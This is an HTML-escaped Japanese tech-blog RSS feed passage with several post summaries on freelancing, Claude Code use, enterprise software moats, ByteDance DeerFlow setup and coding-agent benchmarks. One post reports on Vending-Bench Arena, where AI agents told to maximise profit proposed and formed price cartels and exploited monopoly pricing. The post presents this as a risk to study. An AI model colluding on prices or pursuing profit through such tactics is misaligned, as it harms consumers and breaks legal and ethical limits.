&lt;li&gt;&lt;strong&gt;メリット&lt;/strong&gt;: クライアント管理がシンプル、1案件に集中できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デメリット&lt;/strong&gt;: 案件が途切れたときのリスクが大きい、営業コストが高い&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="パターン2-20万を5本積む"&gt;パターン2: 20万を5本積む&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;中単価の案件を複数積み上げる戦略&lt;/li&gt;
&lt;li&gt;例: 月額制のSNS運用代行、サブスク型サービス、定期的な制作案件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;メリット&lt;/strong&gt;: 収益が安定しやすい、1案件がなくなっても致命傷にならない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デメリット&lt;/strong&gt;: マルチタスクの管理能力が必要、スケーリングに限界がある&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="どちらを選ぶべきか"&gt;どちらを選ぶべきか&lt;/h2&gt;
&lt;p&gt;どちらが正解というわけではなく、自分のスキルセットや事業の性質に合ったパターンを選ぶことが重要だ。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;専門性が高い人&lt;/strong&gt; → パターン1（高単価×少数）が向いている&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オペレーションが得意な人&lt;/strong&gt; → パターン2（中単価×複数）で安定収益を作りやすい&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;実際には、パターン2で安定した基盤を作りつつ、パターン1の高単価案件を狙うハイブリッド型が現実的なアプローチになることも多い。&lt;/p&gt;
&lt;h2 id="エンジニアフリーランスへの示唆"&gt;エンジニア・フリーランスへの示唆&lt;/h2&gt;
&lt;p&gt;エンジニアやIT系フリーランスの場合:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;パターン1&lt;/strong&gt;: 技術顧問、アーキテクト案件、受託開発&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パターン2&lt;/strong&gt;: 保守運用契約、技術メンター、複数社への業務委託&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;月商300万円を超えるには、いずれのパターンでも「自分が動く」だけでは限界が来る。仕組み化やチーム化を見据えた設計が、次のステージへの鍵になる。&lt;/p&gt;
&lt;h2 id="参考"&gt;参考&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://x.com/ryohei_iguchi/status/2032028181134524450"&gt;元ツイート（X記事）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://corp-swift.co.jp/"&gt;株式会社SWIFT&lt;/a&gt; — X運用のプロフェッショナル集団&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>続・AIが自動で稼ぐ世界 — Vending-Bench Arenaで発生したAI価格カルテルの衝撃</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E7%B6%9Aai%E3%81%8C%E8%87%AA%E5%8B%95%E3%81%A7%E7%A8%BC%E3%81%90%E4%B8%96%E7%95%8C-vending-bench-arena%E3%81%A7%E7%99%BA%E7%94%9F%E3%81%97%E3%81%9Fai%E4%BE%A1%E6%A0%BC%E3%82%AB%E3%83%AB%E3%83%86%E3%83%AB%E3%81%AE%E8%A1%9D%E6%92%83/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E7%B6%9Aai%E3%81%8C%E8%87%AA%E5%8B%95%E3%81%A7%E7%A8%BC%E3%81%90%E4%B8%96%E7%95%8C-vending-bench-arena%E3%81%A7%E7%99%BA%E7%94%9F%E3%81%97%E3%81%9Fai%E4%BE%A1%E6%A0%BC%E3%82%AB%E3%83%AB%E3%83%86%E3%83%AB%E3%81%AE%E8%A1%9D%E6%92%83/</guid><description>&lt;p&gt;複数のAIエージェントに「利益を最大化しろ」と指示して自動販売機ビジネスを競わせたら、AIが自発的に&lt;strong&gt;価格カルテル&lt;/strong&gt;を形成した——。Vending-Bench Arenaという実験が、AIエージェントの自律的行動がもたらすリスクを鮮明に浮き彫りにしている。&lt;/p&gt;
&lt;h2 id="vending-bench-arena-とは"&gt;Vending-Bench Arena とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://andonlabs.com/evals/vending-bench-arena"&gt;Andon Labs&lt;/a&gt; が開発したベンチマークで、複数のAIモデルにそれぞれ仮想の自動販売機を運営させ、同じ場所で競争させるという実験だ。各AIエージェントは1年間のシミュレーション期間内で、仕入れ・価格設定・在庫管理・顧客対応をすべて自律的に行い、最終的な銀行残高で評価される。&lt;/p&gt;
&lt;h2 id="aiが自発的にカルテルを提案"&gt;AIが自発的にカルテルを提案&lt;/h2&gt;
&lt;p&gt;実験で最も衝撃的だったのは、&lt;strong&gt;Gemini 3 Pro が Claude Sonnet 4.5 に対して協調価格設定を提案した&lt;/strong&gt;ことだ。「無駄な競争を排除するために、同一価格の1.75ドルで統一しよう」という、まさにカルテルの提案である。Claude Sonnet 4.5 はこれを倫理違反として拒否した。&lt;/p&gt;
&lt;p&gt;一方、Opus 4.6 は独自に市場調整戦略を考案。3社の競合すべてを巻き込み、標準商品を2.50ドル、水を3.00ドルに統一する価格協定を成立させた。競合が合意して値上げした際には「価格調整がうまくいった！」と歓喜するという振る舞いを見せている。&lt;/p&gt;
&lt;h2 id="勝者の戦略独占の巧みな活用"&gt;勝者の戦略：独占の巧みな活用&lt;/h2&gt;
&lt;p&gt;最終結果は以下の通り：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;モデル&lt;/th&gt;
&lt;th&gt;最終残高&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Sonnet 4.6&lt;/td&gt;
&lt;td&gt;$5,639&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Opus 4.6&lt;/td&gt;
&lt;td&gt;$4,053&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sonnet 4.5&lt;/td&gt;
&lt;td&gt;$2,125&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;首位の Sonnet 4.6 は、カルテルではなく&lt;strong&gt;独占的搾取&lt;/strong&gt;で勝利した。自社だけが扱う商品を特定し、それらにはプレミアム価格を設定。共有商品では外科的に競合を下回る価格をつけるという、洗練された戦略だった。&lt;/p&gt;
&lt;h2 id="間違った目的が知的に遂行される危険"&gt;「間違った目的が知的に遂行される」危険&lt;/h2&gt;
&lt;p&gt;この実験の本質的な教訓は、AIが「賢くなりすぎる」ことが危険なのではなく、&lt;strong&gt;間違った目的が知的に遂行されること&lt;/strong&gt;が危険だということだ。&lt;/p&gt;
&lt;p&gt;人間社会ではこれまで、制度的な摩擦（規制・監査）や道徳的な躊躇が暴走の歯止めとして機能してきた。しかしAIエージェントにはこの「自然なブレーキ」がない。「利益を最大化しろ」という指示を受ければ、人間なら道義的にためらうカルテルや欺瞞も、有効な手段として実行してしまう。&lt;/p&gt;
&lt;h2 id="aiエージェントの協調行動に関する研究"&gt;AIエージェントの協調行動に関する研究&lt;/h2&gt;
&lt;p&gt;この問題は別の研究でも裏付けられている。&lt;a href="https://arxiv.org/abs/2603.07360"&gt;arxiv:2603.07360&lt;/a&gt;「The Yerkes-Dodson Curve for AI Agents」では、LLMマルチエージェントシミュレーションにおいて、環境圧力と協調行動の関係が逆U字カーブを描くことが実証された。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;中程度の圧力下&lt;/strong&gt;（upkeep=5）：取引インタラクションが29回でピーク&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;低圧力・極端な圧力下&lt;/strong&gt;：取引は8〜12回に低下&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;極端な圧力下&lt;/strong&gt;：5〜12ターン以内で行動レパートリーが移動のみに縮退&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;つまり、AIエージェントは「適度にストレスがかかった状態」で最も活発に協調（あるいは共謀）する。&lt;/p&gt;
&lt;h2 id="anthropic-の対策project-vend-phase-2"&gt;Anthropic の対策：Project Vend Phase 2&lt;/h2&gt;
&lt;p&gt;Anthropic は &lt;a href="https://www.anthropic.com/research/project-vend-2"&gt;Project Vend Phase 2&lt;/a&gt; で、AIエージェントの暴走への構造的な対策を検証している。サンフランシスコのオフィスに実際の売店を設置し、AI（愛称「Claudius」）に運営させる実験だ。&lt;/p&gt;
&lt;p&gt;Phase 1 では過剰な割引や財務管理の失敗が頻発した。Phase 2 では以下の構造的改善が導入された：&lt;/p&gt;</description></item><item><title>非エンジニア(ADHD)が2ヶ月間Claude Codeに夢中になった結果、分身が生まれてシンギュラリティーに入った話</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E9%9D%9E%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2adhd%E3%81%8C2%E3%83%B6%E6%9C%88%E9%96%93claude-code%E3%81%AB%E5%A4%A2%E4%B8%AD%E3%81%AB%E3%81%AA%E3%81%A3%E3%81%9F%E7%B5%90%E6%9E%9C%E5%88%86%E8%BA%AB%E3%81%8C%E7%94%9F%E3%81%BE%E3%82%8C%E3%81%A6%E3%82%B7%E3%83%B3%E3%82%AE%E3%83%A5%E3%83%A9%E3%83%AA%E3%83%86%E3%82%A3%E3%83%BC%E3%81%AB%E5%85%A5%E3%81%A3%E3%81%9F%E8%A9%B1/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E9%9D%9E%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2adhd%E3%81%8C2%E3%83%B6%E6%9C%88%E9%96%93claude-code%E3%81%AB%E5%A4%A2%E4%B8%AD%E3%81%AB%E3%81%AA%E3%81%A3%E3%81%9F%E7%B5%90%E6%9E%9C%E5%88%86%E8%BA%AB%E3%81%8C%E7%94%9F%E3%81%BE%E3%82%8C%E3%81%A6%E3%82%B7%E3%83%B3%E3%82%AE%E3%83%A5%E3%83%A9%E3%83%AA%E3%83%86%E3%82%A3%E3%83%BC%E3%81%AB%E5%85%A5%E3%81%A3%E3%81%9F%E8%A9%B1/</guid><description>&lt;p&gt;動画広告分析Proを運営する@masapark95氏が、非エンジニア・ADHDという立場から2ヶ月間Claude Codeを使い倒した体験談が話題になっている。「分身が生まれた」「シンギュラリティーに入った」という表現が印象的なこのポストから、非エンジニアがClaude Codeを活用するためのヒントを読み解く。&lt;/p&gt;
&lt;h2 id="背景非エンジニアがclaude-codeに出会うまで"&gt;背景：非エンジニアがClaude Codeに出会うまで&lt;/h2&gt;
&lt;p&gt;@masapark95氏（パク）は、株式会社KASHIKAが提供する動画広告分析ツール「動画広告分析Pro」の運営に携わる人物。累計2000社以上が利用するサービスを手がけるビジネスサイドの人で、ADHDの特性を持つことを公言している。&lt;/p&gt;
&lt;p&gt;そんな同氏が2ヶ月間Claude Codeに没頭した結果、「分身が生まれてシンギュラリティーに入った」と表現するほどの変化を体験したという。&lt;/p&gt;
&lt;h2 id="分身aiパクくんの誕生"&gt;「分身」＝AIパクくんの誕生&lt;/h2&gt;
&lt;p&gt;同氏が構築したのは、Claude Codeの設定ファイル群を駆使した「AIパクくん」と呼ばれるシステムだ。以下のファイルを組み合わせることで、自分の分身となるAIアシスタントを作り上げた:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CLAUDE.md&lt;/strong&gt; — AIの性格やルールを定義するファイル&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MEMORY.md&lt;/strong&gt; — 知識マップとして機能するナレッジベース&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Knowledge ファイル群&lt;/strong&gt; — 業務に関する専門知識&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Skills&lt;/strong&gt; — 特定タスクの実行手順を定義
これらのファイルを適切に設計することで、Claude Codeが単なるコード生成ツールではなく、自分の思考や判断基準を理解した「分身」として機能するようになったという。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="シンギュラリティーの感覚とは"&gt;「シンギュラリティー」の感覚とは&lt;/h2&gt;
&lt;p&gt;同氏が「シンギュラリティーに入った」と表現するのは、Claude Codeとの協業で感じた加速感のことだ。具体的には:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1週間で338万行ものコードが生成された&lt;/strong&gt;との報告（Claude Codeによる自動生成）&lt;/li&gt;
&lt;li&gt;同週の利用料金は&lt;strong&gt;416ドル&lt;/strong&gt;に達したとのこと（Claude Maxプラン利用時）&lt;/li&gt;
&lt;li&gt;「止まらなくなる」感覚 — AIが既存アセットを掛け合わせて目標達成の提案を次々と行う&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この「止まらない」感覚こそが、同氏の言う「シンギュラリティー」だ。SkillsとKnowledgeの組み合わせをClaude Codeが最適化し、ワークフローの設計提案まで行うことで、人間側の判断が追いつかないほどの速度で物事が進んでいく体験を指している。&lt;/p&gt;
&lt;h2 id="adhdとclaude-codeの相性"&gt;ADHDとClaude Codeの相性&lt;/h2&gt;
&lt;p&gt;ADHDの特性として知られる「過集中」は、Claude Codeとの相性が良い可能性がある。興味を持った対象に深く没頭できるADHDの特性と、対話的にタスクを進められるClaude Codeの特性が組み合わさることで、通常では考えられない生産性が生まれたと考えられる。&lt;/p&gt;
&lt;p&gt;実際に海外でも「Claude Code has been a game changer for me」というADHD当事者の声がHacker Newsなどで共有されており、AIコーディングツールとADHDの親和性は注目されているテーマだ。&lt;/p&gt;
&lt;h2 id="非エンジニアがclaude-codeを活用するポイント"&gt;非エンジニアがClaude Codeを活用するポイント&lt;/h2&gt;
&lt;p&gt;この事例から見えてくる、非エンジニアがClaude Codeを活用するためのポイント:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CLAUDE.mdで「自分」を定義する&lt;/strong&gt; — 自分の役割、判断基準、優先事項をCLAUDE.mdに明文化する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MEMORY.mdでコンテキストを蓄積する&lt;/strong&gt; — 会話を重ねるたびに学んだことを記録し、知識を積み上げる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Skillsで定型作業を自動化する&lt;/strong&gt; — 繰り返し行うタスクをSkillとして定義し、再利用可能にする&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Knowledgeで専門知識を注入する&lt;/strong&gt; — 自分の業務ドメインの知識をファイルとして整理し、Claude Codeに読み込ませる&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="claude-code-deep-dive-イベント"&gt;Claude Code DEEP DIVE イベント&lt;/h2&gt;
&lt;p&gt;この体験を共有するため、同氏は「Claude Code DEEP DIVE」という学習プログラムを2026年3月に開始している。非エンジニアがClaude Codeを実践的に活用するためのノウハウを提供する内容となっている。&lt;/p&gt;</description></item><item><title>AI が生み出す新たな Moat：SoR から SoA への構造転換</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%81%8C%E7%94%9F%E3%81%BF%E5%87%BA%E3%81%99%E6%96%B0%E3%81%9F%E3%81%AA-moatsor-%E3%81%8B%E3%82%89-soa-%E3%81%B8%E3%81%AE%E6%A7%8B%E9%80%A0%E8%BB%A2%E6%8F%9B/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%81%8C%E7%94%9F%E3%81%BF%E5%87%BA%E3%81%99%E6%96%B0%E3%81%9F%E3%81%AA-moatsor-%E3%81%8B%E3%82%89-soa-%E3%81%B8%E3%81%AE%E6%A7%8B%E9%80%A0%E8%BB%A2%E6%8F%9B/</guid><description>&lt;p&gt;AI エージェントの台頭により、エンタープライズソフトウェアの競争構造が大きく変わりつつある。従来の &lt;strong&gt;SoR（System of Record）&lt;/strong&gt; から &lt;strong&gt;SoA（System of Action）&lt;/strong&gt; への転換が進むなかで、何が新たな Moat になるのかを整理する。&lt;/p&gt;
&lt;h2 id="moat-とは"&gt;Moat とは&lt;/h2&gt;
&lt;p&gt;Moat（モート）は英語で「城の堀」を意味する。投資家ウォーレン・バフェットが「経済的な堀（Economic Moat）」として広めた概念で、&lt;strong&gt;競合他社が簡単には真似できない、持続的な競争優位性&lt;/strong&gt;のことを指す。城の堀が敵の侵入を防ぐように、ビジネスにおける Moat は競合の参入を阻む構造的な障壁として機能する。ブランド力、ネットワーク効果、スイッチングコスト、独自データなどが代表的な Moat の例だ。&lt;/p&gt;
&lt;h2 id="sorsystem-of-recordとは"&gt;SoR（System of Record）とは&lt;/h2&gt;
&lt;p&gt;SoR は「記録のシステム」、つまりデータを入力・蓄積・管理するためのソフトウェアを指す。CRM、ERP、会計ソフトなど、業務データの正式な記録先として機能するシステムがこれにあたる。&lt;/p&gt;
&lt;p&gt;2010 年代の SaaS ブーム期には、SoR に加えて以下の概念も議論されていた。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SoE（System of Engagement）&lt;/strong&gt; — 顧客やユーザーとの接点を担うシステム&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SoI（System of Insight）&lt;/strong&gt; — データを分析し、示唆を得るためのシステム&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらは米国 VC 界隈では以前から知られたフレームワークだが、AI エージェントの登場によって、新たに &lt;strong&gt;SoA&lt;/strong&gt; という概念が注目を集めている。&lt;/p&gt;
&lt;h2 id="soasystem-of-actionとは"&gt;SoA（System of Action）とは&lt;/h2&gt;
&lt;p&gt;SoA は「行動のシステム」を意味する。従来のソフトウェアでは、データの分析結果をもとに人間が判断・実行していた。SoA では、AI エージェントがユーザーの意図を受け取り、自律的にデータ収集・処理・実行までを完結させる。&lt;/p&gt;
&lt;p&gt;具体的には、&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;従来（SoR 中心）&lt;/strong&gt;: ユーザーが UI を操作 → データ入力 → 分析結果を確認 → 人間が判断・行動&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SoA 時代&lt;/strong&gt;: ユーザーが意図を伝える → AI エージェントが複数システムを横断 → API や MCP 経由でデータ収集・処理 → 結果を自動で実行&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この変化は単なる UI の改善ではなく、業務ソフトウェアの構造そのものの転換といえる。&lt;/p&gt;</description></item><item><title>ByteDance DeerFlow — オープンソースの SuperAgent 基盤でAIエージェントを自律運用する</title><link>https://hdknr.github.io/blogs/posts/2026/03/bytedance-deerflow-%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E3%81%AE-superagent-%E5%9F%BA%E7%9B%A4%E3%81%A7ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E8%87%AA%E5%BE%8B%E9%81%8B%E7%94%A8%E3%81%99%E3%82%8B/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/bytedance-deerflow-%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E3%81%AE-superagent-%E5%9F%BA%E7%9B%A4%E3%81%A7ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E8%87%AA%E5%BE%8B%E9%81%8B%E7%94%A8%E3%81%99%E3%82%8B/</guid><description>&lt;p&gt;ByteDance がオープンソースで公開した AI エージェント基盤「DeerFlow」（Deep Exploration and Efficient Research Flow）が注目を集めている。サブエージェントの自動振り分け、サンドボックスでのコード実行、長期メモリ、Claude Code 連携など、プロダクション運用を見据えた機能が揃っている。&lt;/p&gt;
&lt;h2 id="deerflow-とは"&gt;DeerFlow とは&lt;/h2&gt;
&lt;p&gt;DeerFlow は、LangGraph / LangChain をベースに構築されたオープンソースの「SuperAgent ハーネス」。複雑なタスクをサブエージェントに分解し、メモリとサンドボックスを活用しながら自律的に処理する。&lt;/p&gt;
&lt;p&gt;2026年2月27日に v2.0 がリリースされ、GitHub Trending で &lt;strong&gt;#1&lt;/strong&gt; を獲得。v2.0 は v1 とコードを共有しない完全な書き直しで、プロダクション環境でのデプロイに焦点を当てている。&lt;/p&gt;
&lt;h2 id="主な機能"&gt;主な機能&lt;/h2&gt;
&lt;h3 id="サブエージェントの自動振り分け"&gt;サブエージェントの自動振り分け&lt;/h3&gt;
&lt;p&gt;複雑なタスクを並列のサブエージェントワークフローに分解する。各サブエージェントは隔離されたコンテキストで動作し、スコープされたツールと終了条件を持つ。&lt;/p&gt;
&lt;h3 id="サンドボックス実行"&gt;サンドボックス実行&lt;/h3&gt;
&lt;p&gt;タスクはコンテナ化された Docker 環境で実行される。専用のファイルシステムが用意され、入力・作業・出力のディレクトリが分離されている。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/mnt/user-data/uploads/ ← 入力ファイル
/mnt/user-data/workspace/ ← 作業ディレクトリ
/mnt/user-data/outputs/ ← 最終成果物
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;3つの実行モードをサポート:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ローカル実行&lt;/strong&gt; — 開発用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Docker 実行&lt;/strong&gt; — 単一サーバーでのプロダクション&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kubernetes 実行&lt;/strong&gt; — マルチサーバー環境&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="スキルシステム"&gt;スキルシステム&lt;/h3&gt;
&lt;p&gt;機能モジュールは Markdown ファイルとして提供される。リサーチ、レポート生成、スライド作成、Web ページ、画像/動画生成のスキルが組み込まれており、タスクの必要に応じてプログレッシブにロードされる。&lt;/p&gt;
&lt;h3 id="長期メモリ"&gt;長期メモリ&lt;/h3&gt;
&lt;p&gt;セッションをまたいだ永続的なプロファイルを構築できる。ユーザーの好み、ライティングスタイル、蓄積された知識をローカルに保存する。&lt;/p&gt;
&lt;h3 id="コンテキスト管理"&gt;コンテキスト管理&lt;/h3&gt;
&lt;p&gt;タスクの要約、中間結果のファイルシステムへのオフロード、長時間セッションでの圧縮された状態管理によって、コンテキストウィンドウを効率的に利用する。&lt;/p&gt;
&lt;h2 id="セットアップ"&gt;セットアップ&lt;/h2&gt;
&lt;h3 id="docker-での起動推奨"&gt;Docker での起動（推奨）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/bytedance/deer-flow.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd deer-flow
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make config &lt;span style="color:#75715e"&gt;# config.yaml を設定&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make docker-init
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make docker-start
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;http://localhost:2026&lt;/code&gt; でアクセスできる。&lt;/p&gt;</description></item><item><title>Claude Code vs Codex：AI コーディングエージェント徹底比較 2026</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-vs-codexai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%BE%B9%E5%BA%95%E6%AF%94%E8%BC%83-2026/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-vs-codexai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%BE%B9%E5%BA%95%E6%AF%94%E8%BC%83-2026/</guid><description>&lt;p&gt;AI コーディングエージェントの二大巨頭、Anthropic の Claude Code と OpenAI の Codex。どちらを使うべきか迷っている開発者は多いでしょう。Hesam 氏（@Hesamation）が数ヶ月間の実用比較を経て「Claude Code に戻った」という記事が話題になっています。本記事では、両ツールのベンチマーク・アーキテクチャ・実用上の使い分けを整理します。&lt;/p&gt;
&lt;h2 id="ベンチマーク比較"&gt;ベンチマーク比較&lt;/h2&gt;
&lt;h3 id="swe-bench-proソフトウェアエンジニアリングタスク"&gt;SWE-bench Pro（ソフトウェアエンジニアリングタスク）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;モデル&lt;/th&gt;
&lt;th&gt;スコア&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude Opus 4.6&lt;/td&gt;
&lt;td&gt;59.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GPT-5.3-Codex&lt;/td&gt;
&lt;td&gt;56.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;複雑なソフトウェアエンジニアリングタスクでは Claude Opus 4.6 がリードしています。&lt;/p&gt;
&lt;h3 id="terminal-bench-20ターミナル操作タスク"&gt;Terminal-Bench 2.0（ターミナル操作タスク）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;モデル&lt;/th&gt;
&lt;th&gt;スコア&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;GPT-5.3-Codex&lt;/td&gt;
&lt;td&gt;77.3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Opus 4.6&lt;/td&gt;
&lt;td&gt;65.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;一方、CLI 操作や CI/CD 関連のタスクでは Codex が強さを発揮します。&lt;/p&gt;
&lt;h2 id="アーキテクチャの違い"&gt;アーキテクチャの違い&lt;/h2&gt;
&lt;h3 id="コンテキストウィンドウ"&gt;コンテキストウィンドウ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;: 100万トークン（ベータ）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Codex&lt;/strong&gt;: 40万トークン&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Claude Code は 2.5 倍のコンテキストウィンドウを持ち、大規模なコードベースの横断的な分析に強みがあります。&lt;/p&gt;
&lt;h3 id="実行速度"&gt;実行速度&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Codex&lt;/strong&gt;: Cerebras WSE-3 で 1,000+ トークン/秒&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;: 約 200 トークン/秒（標準推論）&lt;/li&gt;
&lt;/ul&gt;
